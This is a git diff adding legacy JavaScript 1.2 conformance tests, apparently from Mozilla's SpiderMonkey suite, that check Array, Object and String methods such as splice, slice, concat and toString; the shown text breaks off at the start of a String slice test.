+++ b/js/src/tests/js1_2/Array/array_split_1.js
@@ -0,0 +1,53 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: array_split_1.js
+ ECMA Section: Array.split()
+ Description:
+
+ These are tests from free perl suite.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "Free Perl";
+var VERSION = "JS1_2";
+var TITLE = "Array.split()";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "('a,b,c'.split(',')).length",
+ 3,
+ ('a,b,c'.split(',')).length );
+
+new TestCase( SECTION,
+ "('a,b'.split(',')).length",
+ 2,
+ ('a,b'.split(',')).length );
+
+new TestCase( SECTION,
+ "('a'.split(',')).length",
+ 1,
+ ('a'.split(',')).length );
+
+/*
+ * Deviate from ECMA by never splitting an empty string by any separator
+ * string into a non-empty array (an array of length 1 that contains the
+ * empty string).
+ */
+new TestCase( SECTION,
+ "(''.split(',')).length",
+ 0,
+ (''.split(',')).length );
+
+test();
diff --git a/js/src/tests/js1_2/Array/browser.js b/js/src/tests/js1_2/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/Array/browser.js
diff --git a/js/src/tests/js1_2/Array/general1.js b/js/src/tests/js1_2/Array/general1.js
new file mode 100644
index 000000000..2ebb39d7a
--- /dev/null
+++ b/js/src/tests/js1_2/Array/general1.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: general1.js
+ Description: 'This tests out some of the functionality on methods on the Array objects'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:push,unshift,shift';
+
+writeHeaderToLog('Executing script: general1.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array1 = [];
+
+array1.push(123); //array1 = [123]
+array1.push("dog"); //array1 = [123,dog]
+array1.push(-99); //array1 = [123,dog,-99]
+array1.push("cat"); //array1 = [123,dog,-99,cat]
+new TestCase( SECTION, "array1.pop()", array1.pop(),'cat');
+//array1 = [123,dog,-99]
+array1.push("mouse"); //array1 = [123,dog,-99,mouse]
+new TestCase( SECTION, "array1.shift()", array1.shift(),123);
+//array1 = [dog,-99,mouse]
+array1.unshift(96); //array1 = [96,dog,-99,mouse]
+new TestCase( SECTION, "state of array", String([96,"dog",-99,"mouse"]), String(array1));
+new TestCase( SECTION, "array1.length", array1.length,4);
+array1.shift(); //array1 = [dog,-99,mouse]
+array1.shift(); //array1 = [-99,mouse]
+array1.shift(); //array1 = [mouse]
+new TestCase( SECTION, "array1.shift()", array1.shift(),"mouse");
+new TestCase( SECTION, "array1.shift()", "undefined", String(array1.shift()));
+
+test();
+
diff --git a/js/src/tests/js1_2/Array/general2.js b/js/src/tests/js1_2/Array/general2.js
new file mode 100644
index 000000000..07779b72d
--- /dev/null
+++ b/js/src/tests/js1_2/Array/general2.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: general2.js
+ Description: 'This tests out some of the functionality on methods on the Array objects'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:push,splice,concat,unshift,sort';
+
+writeHeaderToLog('Executing script: general2.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+array1 = new Array();
+array2 = [];
+size = 10;
+
+// this for loop populates array1 and array2 as follows:
+// array1 = [0,1,2,3,4,....,size - 2,size - 1]
+// array2 = [size - 1, size - 2,...,4,3,2,1,0]
+for (var i = 0; i < size; i++)
+{
+ array1.push(i);
+ array2.push(size - 1 - i);
+}
+
+// the following for loop reverses the order of array1 so
+// that it should be similarly ordered to array2
+for (i = array1.length; i > 0; i--)
+{
+ array3 = array1.slice(1,i);
+ array1.splice(1,i-1);
+ array1 = array3.concat(array1);
+}
+
+// the following for loop reverses the order of array1
+// and array2
+for (i = 0; i < size; i++)
+{
+ array1.push(array1.shift());
+ array2.unshift(array2.pop());
+}
+
+new TestCase( SECTION, "Array.push,pop,shift,unshift,slice,splice", true,String(array1) == String(array2));
+array1.sort();
+array2.sort();
+new TestCase( SECTION, "Array.sort", true,String(array1) == String(array2));
+
+test();
+
diff --git a/js/src/tests/js1_2/Array/shell.js b/js/src/tests/js1_2/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/Array/shell.js
diff --git a/js/src/tests/js1_2/Array/slice.js b/js/src/tests/js1_2/Array/slice.js
new file mode 100644
index 000000000..8f95aa188
--- /dev/null
+++ b/js/src/tests/js1_2/Array/slice.js
@@ -0,0 +1,89 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: slice.js
+ Description: 'This tests out some of the functionality on methods on the Array objects'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:slice';
+
+writeHeaderToLog('Executing script: slice.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = ['a','test string',456,9.34,new String("string object"),[],['h','i','j','k']];
+var b = [1,2,3,4,5,6,7,8,9,0];
+
+exhaustiveSliceTest("exhaustive slice test 1", a);
+exhaustiveSliceTest("exhaustive slice test 2", b);
+
+test();
+
+function mySlice(a, from, to)
+{
+ var from2 = from;
+ var to2 = to;
+ var returnArray = [];
+ var i;
+
+ if (from2 < 0) from2 = a.length + from;
+ if (to2 < 0) to2 = a.length + to;
+
+ if ((to2 > from2)&&(to2 > 0)&&(from2 < a.length))
+ {
+ if (from2 < 0) from2 = 0;
+ if (to2 > a.length) to2 = a.length;
+
+ for (i = from2; i < to2; ++i) returnArray.push(a[i]);
+ }
+ return returnArray;
+}
+
+// This function tests the slice command on an Array
+// passed in. The arguments passed into slice range in
+// value from -5 to the length of the array + 4. Every
+// combination of the two arguments is tested. The expected
+// result of the slice(...) method is calculated and
+// compared to the actual result from the slice(...) method.
+// If the Arrays are not similar false is returned.
+function exhaustiveSliceTest(testname, a)
+{
+ var x = 0;
+ var y = 0;
+ var errorMessage;
+ var reason = "";
+ var passed = true;
+
+ for (x = -(2 + a.length); x <= (2 + a.length); x++)
+ for (y = (2 + a.length); y >= -(2 + a.length); y--)
+ {
+ var b = a.slice(x,y);
+ var c = mySlice(a,x,y);
+
+ if (String(b) != String(c))
+ {
+ errorMessage =
+ "ERROR: 'TEST FAILED' ERROR: 'TEST FAILED' ERROR: 'TEST FAILED'\n" +
+ " test: " + "a.slice(" + x + "," + y + ")\n" +
+ " a: " + String(a) + "\n" +
+ " actual result: " + String(b) + "\n" +
+ " expected result: " + String(c) + "\n";
+ writeHeaderToLog(errorMessage);
+ reason = reason + errorMessage;
+ passed = false;
+ }
+ }
+ var testCase = new TestCase(SECTION, testname, true, passed);
+ if (passed == false)
+ testCase.reason = reason;
+ return testCase;
+}
diff --git a/js/src/tests/js1_2/Array/splice1.js b/js/src/tests/js1_2/Array/splice1.js
new file mode 100644
index 000000000..37f36e19c
--- /dev/null
+++ b/js/src/tests/js1_2/Array/splice1.js
@@ -0,0 +1,119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: splice1.js
+ Description: 'Tests Array.splice(x,y) w/no var args'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'String:splice 1';
+var BUGNUMBER="123795";
+
+startTest();
+writeHeaderToLog('Executing script: splice1.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = ['a','test string',456,9.34,new String("string object"),[],['h','i','j','k']];
+var b = [1,2,3,4,5,6,7,8,9,0];
+
+exhaustiveSpliceTest("exhaustive splice w/no optional args 1",a);
+exhaustiveSpliceTest("exhaustive splice w/no optional args 1",b);
+
+test();
+
+
+function mySplice(testArray, splicedArray, first, len, elements)
+{
+ var removedArray = [];
+ var adjustedFirst = first;
+ var adjustedLen = len;
+
+ if (adjustedFirst < 0) adjustedFirst = testArray.length + first;
+ if (adjustedFirst < 0) adjustedFirst = 0;
+
+ if (adjustedLen < 0) adjustedLen = 0;
+
+ for (i = 0; (i < adjustedFirst)&&(i < testArray.length); ++i)
+ splicedArray.push(testArray[i]);
+
+ if (adjustedFirst < testArray.length)
+ for (i = adjustedFirst; (i < adjustedFirst + adjustedLen) &&
+ (i < testArray.length); ++i)
+ {
+ removedArray.push(testArray[i]);
+ }
+
+ for (i = 0; i < elements.length; i++) splicedArray.push(elements[i]);
+
+ for (i = adjustedFirst + adjustedLen; i < testArray.length; i++)
+ splicedArray.push(testArray[i]);
+
+ return removedArray;
+}
+
+function exhaustiveSpliceTest(testname, testArray)
+{
+ var errorMessage;
+ var passed = true;
+ var reason = "";
+
+ for (var first = -(testArray.length+2); first <= 2 + testArray.length; first++)
+ {
+ var actualSpliced = [];
+ var expectedSpliced = [];
+ var actualRemoved = [];
+ var expectedRemoved = [];
+
+ for (var len = 0; len < testArray.length + 2; len++)
+ {
+ actualSpliced = [];
+ expectedSpliced = [];
+
+ for (var i = 0; i < testArray.length; ++i)
+ actualSpliced.push(testArray[i]);
+
+ actualRemoved = actualSpliced.splice(first,len);
+ expectedRemoved = mySplice(testArray,expectedSpliced,first,len,[]);
+
+ var adjustedFirst = first;
+ if (adjustedFirst < 0) adjustedFirst = testArray.length + first;
+ if (adjustedFirst < 0) adjustedFirst = 0;
+
+ if ( (String(actualSpliced) != String(expectedSpliced))
+ ||(String(actualRemoved) != String(expectedRemoved)))
+ {
+ if ( (String(actualSpliced) == String(expectedSpliced))
+ &&(String(actualRemoved) != String(expectedRemoved)) )
+ {
+ if ( (expectedRemoved.length == 1)
+ &&(String(actualRemoved) == String(expectedRemoved[0]))) continue;
+ if ( expectedRemoved.length == 0 && actualRemoved == void 0) continue;
+ }
+
+ errorMessage =
+ "ERROR: 'TEST FAILED'\n" +
+ " test: " + "a.splice(" + first + "," + len + ",-97,new String('test arg'),[],9.8)\n" +
+ " a: " + String(testArray) + "\n" +
+ " actual spliced: " + String(actualSpliced) + "\n" +
+ " expected spliced: " + String(expectedSpliced) + "\n" +
+ " actual removed: " + String(actualRemoved) + "\n" +
+ " expected removed: " + String(expectedRemoved) + "\n";
+ writeHeaderToLog(errorMessage);
+ reason = reason + errorMessage;
+ passed = false;
+ }
+ }
+ }
+ var testcase = new TestCase( SECTION, testname, true, passed);
+ if (!passed)
+ testcase.reason = reason;
+ return testcase;
+}
diff --git a/js/src/tests/js1_2/Array/splice2.js b/js/src/tests/js1_2/Array/splice2.js
new file mode 100644
index 000000000..9295d5540
--- /dev/null
+++ b/js/src/tests/js1_2/Array/splice2.js
@@ -0,0 +1,116 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: splice2.js
+ Description: 'Tests Array.splice(x,y) w/4 var args'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'String:splice 2';
+var BUGNUMBER="123795";
+
+startTest();
+writeHeaderToLog('Executing script: splice2.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = ['a','test string',456,9.34,new String("string object"),[],['h','i','j','k']];
+var b = [1,2,3,4,5,6,7,8,9,0];
+
+exhaustiveSpliceTestWithArgs("exhaustive splice w/2 optional args 1",a);
+exhaustiveSpliceTestWithArgs("exhaustive splice w/2 optional args 2",b);
+
+test();
+
+
+function mySplice(testArray, splicedArray, first, len, elements)
+{
+ var removedArray = [];
+ var adjustedFirst = first;
+ var adjustedLen = len;
+
+ if (adjustedFirst < 0) adjustedFirst = testArray.length + first;
+ if (adjustedFirst < 0) adjustedFirst = 0;
+
+ if (adjustedLen < 0) adjustedLen = 0;
+
+ for (i = 0; (i < adjustedFirst)&&(i < testArray.length); ++i)
+ splicedArray.push(testArray[i]);
+
+ if (adjustedFirst < testArray.length)
+ for (i = adjustedFirst; (i < adjustedFirst + adjustedLen) && (i < testArray.length); ++i)
+ removedArray.push(testArray[i]);
+
+ for (i = 0; i < elements.length; i++) splicedArray.push(elements[i]);
+
+ for (i = adjustedFirst + adjustedLen; i < testArray.length; i++)
+ splicedArray.push(testArray[i]);
+
+ return removedArray;
+}
+
+function exhaustiveSpliceTestWithArgs(testname, testArray)
+{
+ var passed = true;
+ var errorMessage;
+ var reason = "";
+ for (var first = -(testArray.length+2); first <= 2 + testArray.length; first++)
+ {
+ var actualSpliced = [];
+ var expectedSpliced = [];
+ var actualRemoved = [];
+ var expectedRemoved = [];
+
+ for (var len = 0; len < testArray.length + 2; len++)
+ {
+ actualSpliced = [];
+ expectedSpliced = [];
+
+ for (var i = 0; i < testArray.length; ++i)
+ actualSpliced.push(testArray[i]);
+
+ actualRemoved = actualSpliced.splice(first,len,-97,new String("test arg"),[],9.8);
+ expectedRemoved = mySplice(testArray,expectedSpliced,first,len,[-97,new String("test arg"),[],9.8]);
+
+ var adjustedFirst = first;
+ if (adjustedFirst < 0) adjustedFirst = testArray.length + first;
+ if (adjustedFirst < 0) adjustedFirst = 0;
+
+
+ if ( (String(actualSpliced) != String(expectedSpliced))
+ ||(String(actualRemoved) != String(expectedRemoved)))
+ {
+ if ( (String(actualSpliced) == String(expectedSpliced))
+ &&(String(actualRemoved) != String(expectedRemoved)) )
+ {
+
+ if ( (expectedRemoved.length == 1)
+ &&(String(actualRemoved) == String(expectedRemoved[0]))) continue;
+ if ( expectedRemoved.length == 0 && actualRemoved == void 0 ) continue;
+ }
+
+ errorMessage =
+ "ERROR: 'TEST FAILED' ERROR: 'TEST FAILED' ERROR: 'TEST FAILED'\n" +
+ " test: " + "a.splice(" + first + "," + len + ",-97,new String('test arg'),[],9.8)\n" +
+ " a: " + String(testArray) + "\n" +
+ " actual spliced: " + String(actualSpliced) + "\n" +
+ " expected spliced: " + String(expectedSpliced) + "\n" +
+ " actual removed: " + String(actualRemoved) + "\n" +
+ " expected removed: " + String(expectedRemoved);
+ reason = reason + errorMessage;
+ writeHeaderToLog(errorMessage);
+ passed = false;
+ }
+ }
+ }
+ var testcase = new TestCase(SECTION, testname, true, passed);
+ if (!passed) testcase.reason = reason;
+ return testcase;
+}
diff --git a/js/src/tests/js1_2/Array/tostring_1.js b/js/src/tests/js1_2/Array/tostring_1.js
new file mode 100644
index 000000000..55c749563
--- /dev/null
+++ b/js/src/tests/js1_2/Array/tostring_1.js
@@ -0,0 +1,93 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: tostring_1.js
+ ECMA Section: Array.toString()
+ Description:
+
+ This checks the ToString value of Array objects under JavaScript 1.2.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var VERSION = "JS1_2";
+startTest();
+var TITLE = "Array.toString()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = new Array();
+
+var VERSION = 0;
+
+if ( version() == 120 ) {
+ VERSION = "120";
+} else {
+ VERSION = "";
+}
+
+new TestCase ( SECTION,
+ "var a = new Array(); a.toString()",
+ ( VERSION == "120" ? "[]" : "" ),
+ a.toString() );
+
+a[0] = void 0;
+
+new TestCase ( SECTION,
+ "a[0] = void 0; a.toString()",
+ ( VERSION == "120" ? "[, ]" : "" ),
+ a.toString() );
+
+
+new TestCase( SECTION,
+ "a.length",
+ 1,
+ a.length );
+
+a[1] = void 0;
+
+new TestCase( SECTION,
+ "a[1] = void 0; a.toString()",
+ ( VERSION == "120" ? "[, , ]" : "," ),
+ a.toString() );
+
+a[1] = "hi";
+
+new TestCase( SECTION,
+ "a[1] = \"hi\"; a.toString()",
+ ( VERSION == "120" ? "[, \"hi\"]" : ",hi" ),
+ a.toString() );
+
+a[2] = void 0;
+
+new TestCase( SECTION,
+ "a[2] = void 0; a.toString()",
+ ( VERSION == "120" ?"[, \"hi\", , ]":",hi,"),
+ a.toString() );
+
+var b = new Array(1000);
+var bstring = "";
+for ( blen=0; blen<999; blen++) {
+ bstring += ",";
+}
+
+
+new TestCase ( SECTION,
+ "var b = new Array(1000); b.toString()",
+ ( VERSION == "120" ? "[1000]" : bstring ),
+ b.toString() );
+
+
+new TestCase( SECTION,
+ "b.length",
+ ( VERSION == "120" ? 1 : 1000 ),
+ b.length );
+
+test();
diff --git a/js/src/tests/js1_2/Array/tostring_2.js b/js/src/tests/js1_2/Array/tostring_2.js
new file mode 100644
index 000000000..db9639926
--- /dev/null
+++ b/js/src/tests/js1_2/Array/tostring_2.js
@@ -0,0 +1,49 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: tostring_2.js
+ Reference: http://scopus.mcom.com/bugsplat/show_bug.cgi?id=114564
+ Description: toString in version 120
+
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "Array/tostring_2.js";
+var VERSION = "JS_12";
+startTest();
+var TITLE = "Array.toString";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = [];
+
+
+if ( version() == 120 ) {
+ VERSION = "120";
+} else {
+ VERSION = "";
+}
+
+new TestCase ( SECTION,
+ "a.toString()",
+ ( VERSION == "120" ? "[]" : "" ),
+ a.toString() );
+
+new TestCase ( SECTION,
+ "String( a )",
+ ( VERSION == "120" ? "[]" : "" ),
+ String( a ) );
+
+new TestCase ( SECTION,
+ "a +''",
+ ( VERSION == "120" ? "[]" : "" ),
+ a+"" );
+
+test();
diff --git a/js/src/tests/js1_2/Objects/browser.js b/js/src/tests/js1_2/Objects/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/Objects/browser.js
diff --git a/js/src/tests/js1_2/Objects/shell.js b/js/src/tests/js1_2/Objects/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/Objects/shell.js
diff --git a/js/src/tests/js1_2/Objects/toString-001.js b/js/src/tests/js1_2/Objects/toString-001.js
new file mode 100644
index 000000000..085cba0b1
--- /dev/null
+++ b/js/src/tests/js1_2/Objects/toString-001.js
@@ -0,0 +1,87 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: toString_1.js
+ ECMA Section: Object.toString()
+ Description:
+
+ This checks the ToString value of Object objects under JavaScript 1.2.
+
+ In JavaScript 1.2, Object.toString()
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var VERSION = "JS1_2";
+startTest();
+var TITLE = "Object.toString()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = new Object();
+
+new TestCase( SECTION,
+ "var o = new Object(); o.toString()",
+ "{}",
+ o.toString() );
+
+o = {};
+
+new TestCase( SECTION,
+ "o = {}; o.toString()",
+ "{}",
+ o.toString() );
+
+o = { name:"object", length:0, value:"hello" }
+
+ new TestCase( SECTION,
+ "o = { name:\"object\", length:0, value:\"hello\" }; o.toString()",
+ true,
+ checkObjectToString(o.toString(), ['name:"object"', 'length:0',
+ 'value:"hello"']));
+
+o = { name:"object", length:0, value:"hello",
+ toString:new Function( "return this.value+''" ) }
+
+ new TestCase( SECTION,
+ "o = { name:\"object\", length:0, value:\"hello\", "+
+ "toString:new Function( \"return this.value+''\" ) }; o.toString()",
+ "hello",
+ o.toString() );
+
+
+
+test();
+
+/**
+ * checkObjectToString
+ *
+ * In JS1.2, Object.prototype.toString returns a representation of the
+ * object's properties as a string. However, the order of the properties
+ * in the resulting string is not specified. This function compares the
+ * resulting string with an array of strings to make sure that the
+ * resulting string is some permutation of the strings in the array.
+ */
+function checkObjectToString(s, a) {
+ var m = /^\{(.*)\}$/(s);
+ if (!m)
+ return false; // should begin and end with curly brackets
+ var a2 = m[1].split(", ");
+ if (a.length != a2.length)
+ return false; // should be same length
+ a.sort();
+ a2.sort();
+ for (var i=0; i < a.length; i++) {
+ if (a[i] != a2[i])
+ return false; // should have identical elements
+ }
+ return true;
+}
+
diff --git a/js/src/tests/js1_2/README b/js/src/tests/js1_2/README
new file mode 100644
index 000000000..550890ec4
--- /dev/null
+++ b/js/src/tests/js1_2/README
@@ -0,0 +1 @@
+JavaScript 1.2
diff --git a/js/src/tests/js1_2/String/browser.js b/js/src/tests/js1_2/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/String/browser.js
diff --git a/js/src/tests/js1_2/String/charCodeAt.js b/js/src/tests/js1_2/String/charCodeAt.js
new file mode 100644
index 000000000..b746a06fb
--- /dev/null
+++ b/js/src/tests/js1_2/String/charCodeAt.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: charCodeAt.js
+ Description: 'This tests new String object method: charCodeAt'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:charCodeAt';
+
+writeHeaderToLog('Executing script: charCodeAt.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var aString = new String("tEs5");
+
+new TestCase( SECTION, "aString.charCodeAt(-2)", NaN, aString.charCodeAt(-2));
+new TestCase( SECTION, "aString.charCodeAt(-1)", NaN, aString.charCodeAt(-1));
+new TestCase( SECTION, "aString.charCodeAt( 0)", 116, aString.charCodeAt( 0));
+new TestCase( SECTION, "aString.charCodeAt( 1)", 69, aString.charCodeAt( 1));
+new TestCase( SECTION, "aString.charCodeAt( 2)", 115, aString.charCodeAt( 2));
+new TestCase( SECTION, "aString.charCodeAt( 3)", 53, aString.charCodeAt( 3));
+new TestCase( SECTION, "aString.charCodeAt( 4)", NaN, aString.charCodeAt( 4));
+new TestCase( SECTION, "aString.charCodeAt( 5)", NaN, aString.charCodeAt( 5));
+new TestCase( SECTION, "aString.charCodeAt( Infinity)", NaN, aString.charCodeAt( Infinity));
+new TestCase( SECTION, "aString.charCodeAt(-Infinity)", NaN, aString.charCodeAt(-Infinity));
+//new TestCase( SECTION, "aString.charCodeAt( )", 116, aString.charCodeAt( ));
+
+test();
+
diff --git a/js/src/tests/js1_2/String/concat.js b/js/src/tests/js1_2/String/concat.js
new file mode 100644
index 000000000..a0828cf1c
--- /dev/null
+++ b/js/src/tests/js1_2/String/concat.js
@@ -0,0 +1,50 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: concat.js
+ Description: 'This tests the new String object method: concat'
+
+ Author: NickLerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:concat';
+
+writeHeaderToLog('Executing script: concat.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var aString = new String("test string");
+var bString = new String(" another ");
+
+new TestCase( SECTION, "aString.concat(' more')", "test string more", aString.concat(' more').toString());
+new TestCase( SECTION, "aString.concat(bString)", "test string another ", aString.concat(bString).toString());
+new TestCase( SECTION, "aString ", "test string", aString.toString());
+new TestCase( SECTION, "bString ", " another ", bString.toString());
+new TestCase( SECTION, "aString.concat(345) ", "test string345", aString.concat(345).toString());
+new TestCase( SECTION, "aString.concat(true) ", "test stringtrue", aString.concat(true).toString());
+new TestCase( SECTION, "aString.concat(null) ", "test stringnull", aString.concat(null).toString());
+new TestCase( SECTION, "aString.concat([]) ", "test string[]", aString.concat([]).toString());
+new TestCase( SECTION, "aString.concat([1,2,3])", "test string[1, 2, 3]", aString.concat([1,2,3]).toString());
+
+new TestCase( SECTION, "'abcde'.concat(' more')", "abcde more", 'abcde'.concat(' more').toString());
+new TestCase( SECTION, "'abcde'.concat(bString)", "abcde another ", 'abcde'.concat(bString).toString());
+new TestCase( SECTION, "'abcde' ", "abcde", 'abcde');
+new TestCase( SECTION, "'abcde'.concat(345) ", "abcde345", 'abcde'.concat(345).toString());
+new TestCase( SECTION, "'abcde'.concat(true) ", "abcdetrue", 'abcde'.concat(true).toString());
+new TestCase( SECTION, "'abcde'.concat(null) ", "abcdenull", 'abcde'.concat(null).toString());
+new TestCase( SECTION, "'abcde'.concat([]) ", "abcde[]", 'abcde'.concat([]).toString());
+new TestCase( SECTION, "'abcde'.concat([1,2,3])", "abcde[1, 2, 3]", 'abcde'.concat([1,2,3]).toString());
+
+//what should this do:
+new TestCase( SECTION, "'abcde'.concat() ", "abcde", 'abcde'.concat().toString());
+
+test();
+
diff --git a/js/src/tests/js1_2/String/match.js b/js/src/tests/js1_2/String/match.js
new file mode 100644
index 000000000..ef4df16f9
--- /dev/null
+++ b/js/src/tests/js1_2/String/match.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: match.js
+ Description: 'This tests the new String object method: match'
+
+ Author: NickLerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String:match';
+
+writeHeaderToLog('Executing script: match.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var aString = new String("this is a test string");
+
+new TestCase( SECTION, "aString.match(/is.*test/) ", String(["is is a test"]), String(aString.match(/is.*test/)));
+new TestCase( SECTION, "aString.match(/s.*s/) ", String(["s is a test s"]), String(aString.match(/s.*s/)));
+
+test();
+
diff --git a/js/src/tests/js1_2/String/shell.js b/js/src/tests/js1_2/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/String/shell.js
diff --git a/js/src/tests/js1_2/String/slice.js b/js/src/tests/js1_2/String/slice.js
new file mode 100644
index 000000000..e939434ae
--- /dev/null
+++ b/js/src/tests/js1_2/String/slice.js
@@ -0,0 +1,90 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: slice.js
+ Description: 'This tests the String object method: slice'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String.slice';
+
+writeHeaderToLog('Executing script: slice.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
